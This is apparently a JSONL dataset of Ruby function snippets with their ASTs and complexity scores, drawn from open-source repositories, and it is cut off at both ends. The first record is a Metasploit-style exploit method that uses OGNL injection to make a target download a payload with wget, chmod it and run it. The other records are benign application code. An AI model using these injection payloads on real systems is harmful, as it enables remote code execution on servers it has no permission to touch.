\"?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\\//, \"$\")}').replace('$','\\\\u002f')})).start()}\"\n\n print_status(\"#{rhost}:#{rport} - Downloading payload to #{fname}...\")\n\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => uri\n })\n\n if res.nil? or res.code != 302\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - OGNL injection failed\")\n end\n\n #\n # wait for payload download\n #\n wait_payload\n\n register_file_for_cleanup(fname)\n\n #\n # chmod\n #\n uri = normalize_uri(target_uri.path)\n uri << \"?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\\//, \"$\")}').replace('$','\\\\u002f')})).start()}\"\n\n print_status(\"#{rhost}:#{rport} - Make payload executable...\")\n\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => uri\n })\n\n if res.nil? or res.code != 302\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - OGNL injection failed\")\n end\n\n #\n # execute\n #\n uri = normalize_uri(target_uri.path)\n uri << \"?redirect:%24{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\\//, \"$\")}').replace('$','\\\\u002f'))).start()}\"\n\n print_status(\"#{rhost}:#{rport} - Execute payload...\")\n\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => uri\n })\n\n if res.nil? or res.code != 302\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - OGNL injection failed\")\n end\n end","complexity_score":82.83,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_linux\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"downfile\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pl\",{\"type\":\"ivar\",\"children\":[\"@exe\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pl_sent\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"service_url\",{\"type\":\"send\",\"children\":[null,\"start_http_service\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"downfile\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_url\"]}]},{\"type\":\"str\",\"children\":[\"','-O',new%20java.lang.String('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"$\"]}]}]},{\"type\":\"str\",\"children\":[\"').replace('$','\\\\u002f')})).start()}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Downloading payload to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - OGNL injection failed\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"wait_payload\"]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?redirect:%24{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"$\"]}]}]},{\"type\":\"str\",\"children\":[\"').replace('$','\\\\u002f')})).start()}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Make payload executable...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - OGNL injection failed\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?redirect:%24{(new%20java.lang.ProcessBuilder(new%20java.lang.String('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"$\"]}]}]},{\"type\":\"str\",\"children\":[\"').replace('$','\\\\u002f'))).start()}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Execute payload...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - OGNL injection failed\"]}]}]},null]}]}]}","id":"f9571f42-21d7-478e-8cd8-02ae63ad8e0e"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/deprecation_mixin.rb","start_line":23,"raw_source":"def deprecate_attribute_methods(old_attribute, new_attribute)\n define_method(old_attribute) { self.send(new_attribute) }\n define_method(\"#{old_attribute}=\") { |object| self.send(\"#{new_attribute}=\", object) }\n define_method(\"#{old_attribute}?\") { self.send(\"#{new_attribute}?\") }\n [\"\", \"=\", \"?\"].each { |suffix| Vmdb::Deprecation.deprecate_methods(self, \"#{old_attribute}#{suffix}\" => \"#{new_attribute}#{suffix}\") }\n end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecate_attribute_methods\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_attribute\"]},{\"type\":\"arg\",\"children\":[\"new_attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"lvar\",\"children\":[\"old_attribute\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"lvar\",\"children\":[\"new_attribute\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_attribute\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attribute\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_attribute\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attribute\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"str\",\"children\":[\"?\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suffix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vmdb\"]},\"Deprecation\"]},\"deprecate_methods\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]}]}]}]}]}]}","id":"c8eb6a96-34ef-4488-91b0-0d1bd80b8fd4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/buildkite.rb","start_line":118,"raw_source":"def webhook_token\n token_parts.first\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"webhook_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token_parts\"]},\"first\"]}]}","id":"e6b67d0c-5af6-4af6-9969-271eb5156edd"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":174,"raw_source":"def configure(conf)\n ParserUtils.convert_parser_conf(conf)\n FormatterUtils.convert_formatter_conf(conf)\n\n super\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParserUtils\"]},\"convert_parser_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormatterUtils\"]},\"convert_formatter_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"54fe0050-1d3d-47a8-8444-3bbf013a86a7"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1050,"raw_source":"def update_posts_read!(num_posts, opts = {})\n now = opts[:at] || Time.zone.now\n _retry = opts[:retry] || false\n\n if user_visit = visit_record_for(now.to_date)\n user_visit.posts_read += num_posts\n user_visit.mobile = true if opts[:mobile]\n user_visit.save\n user_visit\n else\n begin\n create_visit_record!(now.to_date, posts_read: num_posts, mobile: opts.fetch(:mobile, false))\n rescue ActiveRecord::RecordNotUnique\n if !_retry\n update_posts_read!(num_posts, opts.merge(retry: true))\n else\n raise\n end\n end\n end\n end","complexity_score":30.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_posts_read!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num_posts\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"_retry\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_visit\",{\"type\":\"send\",\"children\":[null,\"visit_record_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"to_date\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_visit\"]},\"posts_read\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"num_posts\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mobile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_visit\"]},\"mobile=\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_visit\"]},\"save\"]},{\"type\":\"lvar\",\"children\":[\"user_visit\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_visit_record!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"to_date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"posts_read\"]},{\"type\":\"lvar\",\"children\":[\"num_posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mobile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"mobile\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_retry\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"update_posts_read!\",{\"type\":\"lvar\",\"children\":[\"num_posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}]}]}]}","id":"9612eb63-2c93-4b43-bbb8-07270aef7b7c"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order_updater.rb","start_line":55,"raw_source":"def update_shipments\n shipping_method_filter = order.completed? ? ShippingMethod::DISPLAY_ON_BACK_END : ShippingMethod::DISPLAY_ON_FRONT_END\n\n shipments.each do |shipment|\n next unless shipment.persisted?\n\n shipment.update!(order)\n shipment.refresh_rates(shipping_method_filter)\n shipment.update_amounts\n end\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_shipments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shipping_method_filter\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"completed?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShippingMethod\"]},\"DISPLAY_ON_BACK_END\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShippingMethod\"]},\"DISPLAY_ON_FRONT_END\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shipments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shipment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"persisted?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"update!\",{\"type\":\"send\",\"children\":[null,\"order\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"refresh_rates\",{\"type\":\"lvar\",\"children\":[\"shipping_method_filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shipment\"]},\"update_amounts\"]}]}]}]}]}","id":"3ce2ee68-cb45-4643-8fc1-af09b8a3ea3e"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/resource_controller.rb","start_line":346,"raw_source":"def collection_url(options = {})\n if parent_data.present?\n spree.polymorphic_url([:admin, parent, model_class], options)\n else\n spree.polymorphic_url([:admin, model_class], options)\n end\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_data\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"polymorphic_url\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"send\",\"children\":[null,\"parent\"]},{\"type\":\"send\",\"children\":[null,\"model_class\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"polymorphic_url\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"send\",\"children\":[null,\"model_class\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"eb053dce-3366-4631-9237-5f75ca939fe9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/workers/concerns/search/worker_spec.rb","start_line":17,"raw_source":"def perform\n logger.info 'Worker start'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Worker start\"]}]}]}","id":"23b39f39-f8c5-4d9f-9faa-a1d5c094b57e"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/seed_data/categories_spec.rb","start_line":8,"raw_source":"def create_category(name = \"staff_category_id\")\n seeder.create(site_setting_names: [name])\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_category\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"staff_category_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seeder\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"site_setting_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"697f1c4a-5a32-4a37-b405-38368d643c06"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/inboxes/contacts_controller.rb","start_line":16,"raw_source":"def update\n contact_identify_action = ContactIdentifyAction.new(\n contact: @contact_inbox.contact,\n params: permitted_params.to_h.deep_symbolize_keys.except(:identifier)\n )\n render json: contact_identify_action.perform\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact_identify_action\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContactIdentifyAction\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"contact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"to_h\"]},\"deep_symbolize_keys\"]},\"except\",{\"type\":\"sym\",\"children\":[\"identifier\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact_identify_action\"]},\"perform\"]}]}]}]}]}]}","id":"0cb5fbb8-d463-42e1-b436-35ec78de7cec"} {"repo_name":"puma","file_path":"./repos/puma/test/test_config.rb","start_line":280,"raw_source":"def test_ssl_bind_with_cipher_filter\n skip_if :jruby\n skip_unless :ssl\n\n cipher_filter = \"!aNULL:AES+SHA\"\n conf = Puma::Configuration.new do |c|\n c.ssl_bind \"0.0.0.0\", \"9292\", {\n cert: \"cert\",\n key: \"key\",\n ssl_cipher_filter: cipher_filter,\n }\n end\n\n conf.load\n\n ssl_binding = conf.options[:binds].first\n assert ssl_binding.include?(\"&ssl_cipher_filter=#{cipher_filter}\")\n end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ssl_bind_with_cipher_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_if\",{\"type\":\"sym\",\"children\":[\"jruby\"]}]},{\"type\":\"send\",\"children\":[null,\"skip_unless\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cipher_filter\",{\"type\":\"str\",\"children\":[\"!aNULL:AES+SHA\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Configuration\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"ssl_bind\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]},{\"type\":\"str\",\"children\":[\"9292\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cert\"]},{\"type\":\"str\",\"children\":[\"cert\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl_cipher_filter\"]},{\"type\":\"lvar\",\"children\":[\"cipher_filter\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"load\"]},{\"type\":\"lvasgn\",\"children\":[\"ssl_binding\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\